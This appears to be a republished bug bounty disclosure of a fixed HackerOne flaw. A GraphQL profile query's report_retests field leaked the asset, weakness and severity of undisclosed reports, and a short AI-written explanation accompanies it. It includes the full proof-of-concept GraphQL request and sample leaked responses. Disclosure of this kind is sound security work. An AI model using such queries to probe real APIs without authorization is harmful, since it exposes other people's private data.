Unauthorized access to metadata of undisclosed reports that were retested
The GraphQL user profile query returned a report_retests field that included metadata for reports the viewer was not allowed to see. An attacker could read the asset name, asset type, weakness name and severity rating of undisclosed reports.
- Triaged in under an hour
- Fixed in 3 hours
- Paid in 3 hours
- Disclosed after 24 days
Summary:
report_retests object in User node discloses some information about undisclosed report
Description: An attacker can get some infomation such as "asset_name" , "asset_type" , "severity_rating" , "weakness_name" of undisclosed report
Steps To Reproduce
- Invoke the below graphql call
POST /graphql HTTP/1.1 Host: hackerone.com
{"operationName":"UserMiniProfile","variables":{"username":"msdian7"},"query":"query UserMiniProfile($username: String!) {\n user(username: $username) {\n id\n ...UserMiniProfileLayout\n __typename\n }\n}\n\nfragment UserMiniProfileLayout on User {\n id\n large_profile_picture: profile_picture(size: large)\n name\n username\n bio\n reputation\n signal\n report_retests{total_count,approved_count,nodes{report{_id},created_at,asset_name,asset_type,award_amount,claimed_at,report_state,weakness_name,severity_rating,report_substate,report_retest_users{total_count,nodes{_id,user{username},state,invitation{id}}}}}\n cleared\n __typename\n}\n"}
- You will get below response
████
- From that above response search for "report":null , all that "report":null json objects are , undisclosed report , i take the last json object for my POC
{"report":null,"created_at":"2020-05-11T19:21:25.507Z","asset_name":"https://www.hackerone.com","asset_type":"URL","award_amount":"50.00","claimed_at":null,"report_state":"closed","weakness_name":null,"severity_rating":"low","report_substate":"resolved","report_retest_users":{"total_count":1,"nodes":[{"_id":"███","user":{"username":"██████████"},"state":"approved","invitation":null}
from this json, we can see user █████ retested one undisclosed report . and the informations about that undisclosed report are , a. That report filed to "https://www.hackerone.com" b. severity of that report is "low"
We can see some other undisclosed reports too .
the another example is ,
{"report":null,"created_at":"2020-03-17T22:20:07.215Z","asset_name":"https://hackerone.com","asset_type":"URL","award_amount":"0.00","claimed_at":null,"report_state":"closed","weakness_name":"Information Disclosure","severity_rating":"medium","report_substate":"resolved","report_retest_users":{"total_count":1,"nodes":[{"_id":"███████","user":{"username":"████"},"state":"unassigned","invitation":null}]}
This is another undisclosed report, filed to "https://hackerone.com" asset with the "Information Disclosure" weakness and severity of report is "medium"
@security program, has more undisclosed report, so we cant detect exact undisclosed report, Consider if a new program start to use hackerone.com and uses retest feature , we can get that program's asset_name , asset_type, weakness_name and severity_rating without disclosure of that report
Impact
an attacker can get Information of undisclosed report
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the report_retests resolver returned retest records without checking whether the linked report was disclosed to the requesting user.
Impact
An attacker could learn the asset name, asset type, weakness name and severity rating of undisclosed reports, though the report body itself stayed hidden.
What the attacker needed
Knows a username that retested reports
How it was found
- Send a GraphQL UserMiniProfile query for a username to the site's graphql endpoint.
- Inspect the returned report_retests data for entries where the report field is null.
- Read the asset name, asset type, weakness name and severity rating from those entries.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A profile query returned extra details about bug reports meant to stay private, so anyone could see the affected asset's name and how serious the hidden report was.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.